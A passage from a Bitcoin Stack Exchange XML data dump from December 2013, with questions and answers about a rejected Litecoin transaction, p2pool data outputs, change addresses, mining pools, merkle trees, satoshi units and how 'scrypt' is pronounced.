  <row Id="18323" PostTypeId="1" CreationDate="2013-12-08T21:06:08.533" Score="0" ViewCount="523" Body="&lt;p&gt;raw hex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0100000001390210797248b4f5a4a6c0fbcbde14a3ea132bdbfedb07aea35bff5cfc0766b1000000008a4730450220035db00b2bed0e4e97b92b9ee3610587110041c0e71f99b4563fe990d1a5a2b0022100ded70700477d36e7867dfb11842e86ef95e06e5fe910f4334730195493b362da41041862f45bcd7f2a0a8b2f1d24effdcede809ba4f46a78e5baac43ae0c0f6c651ceb02db5a9527ca9e722a4aca51284d6ee36408625b3463c68abfe3b5740aa42cffffffff0140420f00000000001976a914bee3bbfdad113a061739375edcfe6a908c096c7088ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got this handcrafted tx from somewhere. I want to know why it is not being accepted.&#xA;From &lt;code&gt;sendrawtransaction&lt;/code&gt; in litecoin-qt, I get &lt;code&gt;TX rejected (code -22)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I missed a zero in the beginning. Fixed it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I get using decoderawtransaction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;txid&quot; : &quot;a3de612bfa175d4c688648e205644305561f7d2cd96ae6a4ad23cabac4e3b887&quot;,&#xA;&quot;version&quot; : 1,&#xA;&quot;locktime&quot; : 0,&#xA;&quot;vin&quot; : [&#xA;{&#xA;&quot;txid&quot; : &quot;b16607fc5cff5ba3ae07dbfedb2b13eaa314decbfbc0a6a4f5b4487279100239&quot;,&#xA;&quot;vout&quot; : 0,&#xA;&quot;scriptSig&quot; : {&#xA;&quot;asm&quot; : &quot;30450220035db00b2bed0e4e97b92b9ee3610587110041c0e71f99b4563fe990d1a5a2b0022100ded70700477d36e7867dfb11842e86ef95e06e5fe910f4334730195493b362da 041862f45bcd7f2a0a8b2f1d24effdcede809ba4f46a78e5baac43ae0c0f6c651ceb02db5a9527ca9e722a4aca51284d6ee36408625b3463c68abfe3b5740aa42c&quot;,&#xA;&quot;hex&quot; : &quot;4730450220035db00b2bed0e4e97b92b9ee3610587110041c0e71f99b4563fe990d1a5a2b0022100ded70700477d36e7867dfb11842e86ef95e06e5fe910f4334730195493b362da41041862f45bcd7f2a0a8b2f1d24effdcede809ba4f46a78e5baac43ae0c0f6c651ceb02db5a9527ca9e722a4aca51284d6ee36408625b3463c68abfe3b5740aa42c&quot;&#xA;},&#xA;&quot;sequence&quot; : 4294967295&#xA;}&#xA;],&#xA;&quot;vout&quot; : [&#xA;{&#xA;&quot;value&quot; : 0.01000000,&#xA;&quot;n&quot; : 0,&#xA;&quot;scriptPubKey&quot; : {&#xA;&quot;asm&quot; : &quot;OP_DUP OP_HASH160 bee3bbfdad113a061739375edcfe6a908c096c70 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;&quot;hex&quot; : &quot;76a914bee3bbfdad113a061739375edcfe6a908c096c7088ac&quot;,&#xA;&quot;reqSigs&quot; : 1,&#xA;&quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;&quot;addresses&quot; : [&#xA;&quot;LcdHTvKV5PNBbhcHrd1h3QRNcJLsxkfUfd&quot;&#xA;]&#xA;}&#xA;}&#xA;]&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: could be a problem with signatures. Can someone verify if the signatures are correct. I don't know enough about the litecoin protocol to do it myself. &lt;/p&gt;&#xA;" OwnerUserId="2075" LastEditorUserId="2075" LastEditDate="2013-12-09T08:41:34.010" LastActivityDate="2014-09-05T17:29:58.790" Title="what is wrong with this litecoin transaction? getting &quot;tx rejected: (code -22&quot;)" Tags="|transactions|bitcoin-core|litecoin|litecoin-qt|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18325" PostTypeId="1" CreationDate="2013-12-08T22:30:50.267" Score="1" ViewCount="158" Body="&lt;p&gt;I found out that some transactions have strange &lt;code&gt;scriptPubKey&lt;/code&gt; in their outs. They only contain a hash and nothing more. An example can be seen in JSON-view of &lt;a href=&quot;http://blockexplorer.com/rawblock/0000000000000379bd885d60bcaab9b346a03e9346f310ae3a5ff01cd3770aa5&quot; rel=&quot;nofollow&quot;&gt;block 200639&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;value&quot;:&quot;0.00000000&quot;,&#xA;    &quot;scriptPubKey&quot;:&quot;7ce73474ecef1936fca45fe7835cca09d1a24f52526c189ab40d371b5f69f4a3&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The transaction is valid as the stack will only contain this hash which is not empty and thus evaluates to &lt;code&gt;true&lt;/code&gt;. This seems to be a way to save some data in transaction...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know for what purpose such scripts may be used?&lt;/p&gt;&#xA;" OwnerUserId="10447" LastActivityDate="2014-01-08T00:54:03.267" Title="scriptPubKey consisting of the only hash" Tags="|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18327" PostTypeId="2" ParentId="5461" CreationDate="2013-12-08T22:40:35.513" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/Glasswalker/Wallet.Net/tree/master/Bitnet.Client&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Glasswalker/Wallet.Net/tree/master/Bitnet.Client&lt;/a&gt;&#xA;I use bitnet client, nothing but good things to say, if its missing anything you need its quite easy to add/modify anything you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you open up bitcoin -qt then go to the console and type in help you will see a list of all the methods. (as not every single one is implemented in bitnet)&lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2013-12-08T22:40:35.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18328" PostTypeId="2" ParentId="14274" CreationDate="2013-12-08T22:43:28.010" Score="1" Body="&lt;p&gt;I would advise not giving anyone direct access to your bitcoind instance. You need either a queue/ or an API in between that can throttle requests/ and manage ACL's as you require. &lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2013-12-08T22:43:28.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18329" PostTypeId="1" CreationDate="2013-12-08T22:51:06.863" Score="0" ViewCount="633" Body="&lt;p&gt;Looking at the dynamics of the Cryptsy and BTC-E trading engines you aren't able to place market orders.  The orders just seem to be limit orders at the best market rate.  For example, I want to buy 20 bitcoins at $700 and the best offer is $700 with 15 coin volume.  The offer should get knocked out and the remainder of 5 should be subtracted from the next best offer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is why this doesn't seem to be the case with BTC-E and Cryptsy?  If your order volume at market is greater than available volume at set rate it sets up a limit order until the order is filled.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this and explain why they do it?&lt;/p&gt;&#xA;" OwnerUserId="10060" LastEditorUserId="22837" LastEditDate="2015-02-19T03:35:55.347" LastActivityDate="2016-01-15T09:14:41.193" Title="Market orders in Cryptsy and BTC-E" Tags="|btce|cryptsy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18330" PostTypeId="2" ParentId="9883" CreationDate="2013-12-08T22:51:53.043" Score="0" Body="&lt;p&gt;One option is to use OKPAY they accept bitcoins to fund your wallet at a &quot;market rate&quot; and then you get credited Cash in your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They also have the ability to create a virtual master card which i thought is pretty cool, so you can essentially use it online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you do need to be verified to use their services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: At the time of writing this, the market rate was $30 cheaper USD per coin compared to BTC-e (normally one of the lower values) , but depending on how badly you want to spend it everywhere, its not bad. &lt;/p&gt;&#xA;" OwnerUserId="4872" LastActivityDate="2013-12-08T22:51:53.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18331" PostTypeId="2" ParentId="1629" CreationDate="2013-12-08T23:28:04.363" Score="9" Body="&lt;p&gt;The idea of the change addresses is an attempt to make transactions anonymous. Unfortunately, bitcoin transactions are &lt;em&gt;not&lt;/em&gt; anonymous, even with the use of change addresses:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;noreferrer&quot;&gt;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://motherboard.vice.com/blog/if-youre-not-careful-bitcoins-arent-as-anonymous-as-you-think&quot; rel=&quot;noreferrer&quot;&gt;http://motherboard.vice.com/blog/if-youre-not-careful-bitcoins-arent-as-anonymous-as-you-think&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you have a wallet filled with change addresses, transactions will be forced to use some of those change addresses to fill transactions you want to make. The fact that the receiver is the same, and that the time of transaction is the same means that an outside observer will have a high confidence that those addresses belong to the same person. If all of those addresses only received bitcoins from a single address, it will be very clear they are change addresses for that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the above means is that your addresses become deanonymized when they are used. This makes your privacy basically worthless because anyone can look back a couple years and see everyone you paid or received money from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not necessarily a bad thing, as the tracability of transactions will make it harder for governments to justify fighting the adoption of bitcoins. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While you might gain a &lt;em&gt;tiny&lt;/em&gt; bit of privacy for a &lt;em&gt;short&lt;/em&gt; period of time using change addresses, there is a HUGE downside: it makes backing up your money intractable. If you want to back up an address, you can do that easily. Just encrypt your wallet and copy it to various devices (your phone, external HD, USB drive, paper wallet, etc). If change addresses are used tho, you must copy to all your backups (as painful as printing out a new paper wallet) &lt;em&gt;every&lt;/em&gt; time you make a transactions. That is intractable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That intractability I think is a HUGE problem for bitcoins. People need a secure way of being &quot;their own bank&quot; and change addresses make bitcoins broken for most people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;noreferrer&quot;&gt;Deterministic wallets&lt;/a&gt; somewhat solve this problem by allowing you to determine all of the wallet's potential addresses from a single seed value. This allows you to backup once, and restore at any later time by using the seed to generate and check addresses until you're sure you haven't used any beyond the ones you checked. Armory, Electrum, and CarbonWallet all use deterministic wallets. &lt;/p&gt;&#xA;" OwnerUserId="5254" LastEditorUserId="5254" LastEditDate="2014-03-20T22:27:43.903" LastActivityDate="2014-03-20T22:27:43.903" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18332" PostTypeId="2" ParentId="14462" CreationDate="2013-12-08T23:29:45.927" Score="-1" Body="&lt;p&gt;If you grab a copy of the Bitcoin-qt wallet from the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=144331.0&quot; rel=&quot;nofollow&quot;&gt;Coin Control&lt;/a&gt; fork, you can get some very good information about how the transaction fees work. The transaction fees are explained in the post in that link, and the compiled Coin Control fork is also linked so you can play around with it too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once downloaded and installed, open settings -&gt; options, then under the display tab enable the &quot;Display Coin Control Features (experts only!)&quot; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when you go to send funds, you have the option of exactly where the funds will come from, what priority they will have in entering blocks, what fees will be required (if any), and the option of adding multiple recipients in the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This extra functionality will be standard in the coming 0.9 release of Bitcoin-qt and bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As has already been said, it would be best to trial it out on the Bitcoin Testnet, currently Testnet3 - simply run the wallet with the command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin-qt -testnet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which will enter the wallet onto Testnet3 rather than the main network. You can get some free testnet bitcoins from some faucets (check the links at the bottom of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Testnet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Testnet wiki article&lt;/a&gt;), and play around with sending bitcoins in one transaction from multiple wallet addresses to multiple other wallet addresses. This should give you a fair idea of how to structure a payment without incurring any transaction fees.&lt;/p&gt;&#xA;" OwnerUserId="10430" LastActivityDate="2013-12-08T23:29:45.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18334" PostTypeId="1" CreationDate="2013-12-08T23:41:35.593" Score="1" ViewCount="625" Body="&lt;p&gt;Do mining pools take any precautions to make sure that their members are not doing the exact same work (i.e. they've been given the exact same block to mine, and thus they're doing the same hash calculations as a fellow member)?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="5406" LastEditDate="2013-12-09T17:37:23.290" LastActivityDate="2014-04-26T20:37:58.923" Title="How do mining-pools prevent work duplication?" Tags="|mining-pools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18336" PostTypeId="2" ParentId="18334" CreationDate="2013-12-08T23:49:59.463" Score="2" Body="&lt;p&gt;No, there's not a need. The &quot;work&quot; generated by the pool includes the time, transactions, transaction order, and a completely unique coinbase. All of this information is hashed once with SHA256 and then sent to the client for them to do the POW calculation on. There is absolutely no chance of two pools creating the same work, and indeed pool software is designed to make work unique to each user. Protocols like GBT and Stratum also generate work items locally so the pool server is even less involved. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T23:49:59.463" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18337" PostTypeId="1" AcceptedAnswerId="18339" CreationDate="2013-12-08T23:51:11.457" Score="-1" ViewCount="137" Body="&lt;p&gt;When doing pool mining under Linux, you need to specify a user and password for the pool in the command.  Any other Linux user on that machine can see your user and password in the &lt;code&gt;ps&lt;/code&gt; command.  Is there any way to hide them?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-09T00:29:02.673" Title="hide password in mining ps command" Tags="|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18339" PostTypeId="2" ParentId="18337" CreationDate="2013-12-08T23:58:55.913" Score="0" Body="&lt;p&gt;If using &lt;code&gt;cgminer&lt;/code&gt; or &lt;code&gt;bfgminer&lt;/code&gt; you can write the username and password into a configuration file, but there's really no need. Unless the password is used prolifically elsewhere, the biggest risk is that somebody mines with your worker name and contributes some money to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're worried about people seeing your username, then you shouldn't be mining on computers you don't own. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-08T23:58:55.913" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18340" PostTypeId="2" ParentId="18325" CreationDate="2013-12-09T00:08:03.693" Score="2" Body="&lt;p&gt;That's a transaction generated by &lt;a href=&quot;http://p2pool.info/&quot; rel=&quot;nofollow&quot;&gt;p2pool&lt;/a&gt;. You assumed correctly in that it is designed to store data, it's used to store some metadata about the current state of the pool. In the future it would probably be better to use &lt;code&gt;OP_DROP&lt;/code&gt;, as the output is provably unspendable and is able to be pruned from the mempool and blockchain.&lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-09T00:08:03.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18341" PostTypeId="1" CreationDate="2013-12-09T00:25:37.783" Score="1" ViewCount="1123" Body="&lt;p&gt;I noticed that bfgminer is using 100% CPU on my Linux system even though it's using a Block Erupter ASIC.  Why is it using so much CPU? Is it possible to prevent that?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-04-24T03:57:13.873" Title="bfgminer using 100% CPU" Tags="|mining-pools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18342" PostTypeId="2" ParentId="18337" CreationDate="2013-12-09T00:29:02.673" Score="0" Body="&lt;p&gt;As the username and password you are using for your miner in the pool should not be the same as you are using anywhere else, this really should not be an issue as the only thing someone could really do with those details are mine for you (which is a good thing). The miner's password shouldn't be the same as your global login to that pool, and if they have to be then I would suggest finding a different pool. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in answer to the question, you should be able to use the &lt;code&gt;hidepid&lt;/code&gt; mount option for procfs. More information available &lt;a href=&quot;http://www.iezzi.ch/archives/784&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It's not perfect, as it's an all-or-nothing approach to hiding processes (similar to how windows handles Task Manager - when hiding is taking place another user can only see their own processes, not other users' or system processes unless they elevate, although with &lt;code&gt;hidepid&lt;/code&gt; even elevation will not allow viewing them) rather than just hiding a single one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other reliable method I can think of at the moment would be creating a kernel patch, as &lt;code&gt;ps&lt;/code&gt; and &lt;code&gt;top&lt;/code&gt; both take input directly from there.&lt;/p&gt;&#xA;" OwnerUserId="10430" LastActivityDate="2013-12-09T00:29:02.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18344" PostTypeId="2" ParentId="18100" CreationDate="2013-12-09T01:42:12.687" Score="1" Body="&lt;p&gt;As a follow up I was able to discover the actual passphrase by using the ruby script from this thread &lt;a href=&quot;https://bitcointalk.org/index.php?topic=85495&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=85495&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my post # 312 for the details if you need help solving this kind of problem. The folks in that thread are very helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much thanks to all who helped. It was a stressful and frustrating experience - from which I learned a lot. :)&lt;/p&gt;&#xA;" OwnerUserId="10256" LastActivityDate="2013-12-09T01:42:12.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18347" PostTypeId="1" CreationDate="2013-12-09T02:22:21.693" Score="1" ViewCount="453" Body="&lt;p&gt;as i understand it, merkle trees are useful for operations within individual blocks, but do they have any use outside of each block? for example, are the merkle-roots from each block ever used in combination for any other purposes such as blockchain validation?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2014-03-09T11:02:28.710" Title="do transaction merkle trees have any use outside individual blocks?" Tags="|blockchain|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18350" PostTypeId="2" ParentId="18294" CreationDate="2013-12-09T03:22:47.950" Score="2" Body="&lt;p&gt;Addresses can both be used both for sending and receiving transactions. However, some online wallet services share addresses between different users, so you want to be careful if you are using one of those. Use a &quot;receive payment function&quot; or &quot;my address&quot;, or whatever it might be called, to get the address that can receive payments for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the standard client, all your addresses are fully under your control and are safe to receive transactions.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-09T03:22:47.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18351" PostTypeId="1" CreationDate="2013-12-09T03:42:36.173" Score="1" ViewCount="4169" Body="&lt;p&gt;I am a complete newbie. I transferred money to my coin base paper wallet before printing my private key. Now, I see my btc in wallet but could not retrieve my key by going back on my browser...Are they gone?&lt;/p&gt;&#xA;" OwnerUserId="10457" LastActivityDate="2023-12-05T06:51:44.633" Title="lost private key...never had it" Tags="|wallet|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18353" PostTypeId="1" AcceptedAnswerId="18365" CreationDate="2013-12-09T04:15:01.833" Score="1" ViewCount="463" Body="&lt;p&gt;Please help me end this argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is 'scrypt' pronounced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be pronounced &quot;script&quot;? &quot;Es Crypt&quot;? &quot;skriped&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2915" LastActivityDate="2013-12-14T12:44:17.930" Title="How is 'scrypt' pronounced?" Tags="|scrypt|" AnswerCount="2" CommentCount="4" FavoriteCount="0" ClosedDate="2013-12-10T05:47:12.857" ContentLicense="CC BY-SA 3.0" />
  <row Id="18354" PostTypeId="2" ParentId="18353" CreationDate="2013-12-09T04:55:25.570" Score="5" Body="&lt;p&gt;The most common pronunciation I have heard is &lt;a href=&quot;https://www.google.com/search?q=define%20script&quot; rel=&quot;noreferrer&quot;&gt;/skript/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-09T04:55:25.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18357" PostTypeId="1" AcceptedAnswerId="18363" CreationDate="2013-12-09T05:29:30.577" Score="0" ViewCount="390" Body="&lt;p&gt;I currently have a bitcoind version:80500 running on a VPS. I am interested in using it to only verify transactions for me much the same way blockchain.info  does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to run bitcoind to do this? I guess the best analogy to this would be acting as a leecher. Or does it always act as an active node passing transactions etc?&lt;/p&gt;&#xA;" OwnerUserId="10463" LastEditorUserId="10463" LastEditDate="2013-12-09T08:18:04.513" LastActivityDate="2013-12-09T10:49:43.093" Title="Acting as a passive node rather than an active one using bitcoind" Tags="|bitcoind|blockchain.info|server|nodes|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18358" PostTypeId="2" ParentId="18351" CreationDate="2013-12-09T07:54:01.410" Score="2" Body="&lt;p&gt;If you have no record of the private key stored the funds are lost forever, or more correctly you just can never spend them again. As you never had the private key stored on a hard drive, there's not anything you can do to recover it. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-09T07:54:01.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18359" PostTypeId="2" ParentId="18323" CreationDate="2013-12-09T07:55:29.727" Score="1" Body="&lt;p&gt;It looks like these are freshly mined Litecoins that have not matured yet, you need to wait until they mature to spend them. Maturity refers to the number of confirmations that newly mined coins need to have. For Litecoin (and Bitcoin) this is 120 blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See a discussion related to this here: &lt;a href=&quot;https://github.com/litecoin-project/litecoin/issues/26&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litecoin-project/litecoin/issues/26&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you won't be able to spend these coins until those blocks get mined. But at the rate that Litecoin blocks get solved that would be around 4 hours, which means that same transaction might work now.&lt;/p&gt;&#xA;" OwnerUserId="1919" LastActivityDate="2013-12-09T07:55:29.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18360" PostTypeId="2" ParentId="18347" CreationDate="2013-12-09T07:55:55.513" Score="2" Body="&lt;p&gt;The merkle tree means that you can verify the existence of a transaction in a block while only having the header, the transaction, and the merkle tree itself. It allows SPV clients to act extremely quickly and securely while only using the bare minimum of bandwidth. MultiBit is a SPV client that works in this way, and is extremely quick as a direct result. &lt;/p&gt;&#xA;" OwnerUserId="9790" LastActivityDate="2013-12-09T07:55:55.513" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18362" PostTypeId="1" AcceptedAnswerId="18364" CreationDate="2013-12-09T10:42:20.157" Score="0" ViewCount="139" Body="&lt;p&gt;Since BitCoin (and AltCoins) are divisible by up to 8 decimal places, does that technically mean that 1xBTC (or 1xAltCoin) is equal to 1 billion individual units of currency?&lt;/p&gt;&#xA;" OwnerUserId="9342" LastActivityDate="2013-12-09T10:55:05.297" Title="How many currency units in 1xBTC / 1xAltCoin?" Tags="|alternatives|currencies|value|divisibility|" AnswerCount="1" CommentCount="0" ClosedDate="2014-01-01T21:17:14.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="18363" PostTypeId="2" ParentId="18357" CreationDate="2013-12-09T10:43:43.150" Score="1" Body="&lt;p&gt;What you are asking for is not possible with an unmodified version of bitcoind. So I will interpret your question as why not and how to achieve something similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having bitcoin nodes that do not relay transactions is a danger to bitcoin: If nodes start behaving that way, not only do we move a tiny step further towards risking that transactions are stuck because someone sending a transaction does not get them forwarded at all, but more importantly, mining exploits like the one described in the preprint &lt;a href=&quot;http://arxiv.org/pdf/1311.0243v2.pdf&quot; rel=&quot;nofollow&quot;&gt;Majority is not enough: Bitcoin Mining is Vulnerable&lt;/a&gt; move from the rather theoretical to the practical. In fact, someone trying to implement this exploit might ask pretty much the same question as you do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what stops you from just doing it anyways, with a modified version of bitcoind? Nothing, really, except that it seems a bit self-defeating. Consider that as soon as others start perceiving it as a sufficient nuissance (and they should, for reasons of fairness and security!), we'll come up with some modification that will require you to forward at least some transactions or not get transactions forwarded yourself. Or get stuck with only similarly selfish nodes to connect to. That'll be the exact opposite of what you want to achieve for verifying transactions. Just consider that eventually you may only see those transactions more likely to not get propagated all the way to the mining pools!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what options do you have to limit bandwidth (I doubt you can save much CPU time, anyways)? Here are your options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You already know the most radical answer: Not running your own copy of bitcoind, and instead use the public APIs of blockchain.info and blockexplorer.com (or some commercial solution). I presume you are not happy with relying on free external services, but considering that there is redundancy (to either deal with individual downtime or to get more than one confirmation). So this super-low bandwidth approach (at least for few transactions to actively monitor) may not be quite as bad as it must sound at first.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Limit the number of nodes your bitcoind connects to. This, unfortunately, is a double-edged sword. It simultaneously limits the data you will send out (fewer peers!) and the data you receive. Hence you have a greater chance of being late to see a transaction, if for whatever reason it did not reach the very few (one?) other node you connected to, or because few peers mean you are at an elevated risk of simultaneously lose connection to all of them, being cut off from the bitcoin network briefly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify your client in a sensible way. Maybe you can live with relaying new transactions, but throttling bulk downloads of the entire blockchain? This could potentially have a huge impact on your outgoing (and total) bandwidth, whilst offering the potential for very sensible overall behavior. Consider that it could even make sense for the mainline bitcoind if alternative means of bulk download of the blockchain could be implemented---and as long as we find mirrors for them, this should be doable. In fact, by putting a &quot;blockchain mirror&quot; part of your site behind a free &lt;a href=&quot;https://www.cloudflare.com/&quot; rel=&quot;nofollow&quot;&gt;cloudflare&lt;/a&gt; account to serve static content at zero cost, you could do it!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;May I suggest that option 3 could be the way to go? If the necessary modifications to bitcoind are a problem for you, I could help (or even do it all), although I am sorry to say I probably couldn't do it for free.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-12-09T10:49:43.093" LastActivityDate="2013-12-09T10:49:43.093" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18364" PostTypeId="2" ParentId="18362" CreationDate="2013-12-09T10:55:05.297" Score="3" Body="&lt;p&gt;No, at least not for the original Bitcoin and all those altcoins that do not change this aspect. But you are almost correct: Each Bitcoin is divisible into 0.1 billion (which is 100 million or a 1 followed by 8 zeros) actual units, called Satoshi after the pseudonym of Bitcoin's creator. In fact, the protocol only uses these; displaying them as Bitcoin is purely an output formatting convention.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-12-09T10:55:05.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18365" PostTypeId="2" ParentId="18353" CreationDate="2013-12-09T11:04:02.677" Score="4" Body="&lt;p&gt;I do not think there is a formal convention. Your best bet is probably to inquire at the inventor, the one-man company tarsnap. Start at &lt;a href=&quot;https://www.tarsnap.com/scrypt.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;their webpage about scrypt&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the important point is cryptographic security and because of their unix-like naming (&lt;b&gt;tar&lt;/b&gt;snap!), I'd say this probably follows the same convention that makes &lt;code&gt;ssh&lt;/code&gt; the secure shell. Hence my personal preference is to emphasize it as s(ecure) crypt(ographic grade hash), and hence favor the pronunciation s - crypt, but you see from the sheer amount of parenthesis I need to explain just how individualistic this interpretation may be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I am feeling somewhat dissatisfied by my own answer, and hence have sought other opinions, even at the risk of committing the sin of cross-posting. It seems to be a difficult question because the technical communities tend to declare language issues off-topic. I sympathize, myself often preferring the technical or logical content over issues of syntax, irrelevant semantic nuances, or indeed pronunciation. Yet &lt;a href=&quot;https://english.stackexchange.com/questions/141519/how-are-invented-names-like-scrypt-pronounced-that-include-nonstandard-abbrevi&quot;&gt;on the English branch of Stackexchange&lt;/a&gt; &lt;s&gt;at least&lt;/s&gt; the &lt;s&gt;initial&lt;/s&gt; comments go in the direction that the &lt;s&gt;technical&lt;/s&gt; community of all the people using &lt;code&gt;scrypt&lt;/code&gt; as a word decides. This appears to be circular referencing. Hence I don't even know where we could have migrated the question to if we decide it is off-topic here.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" 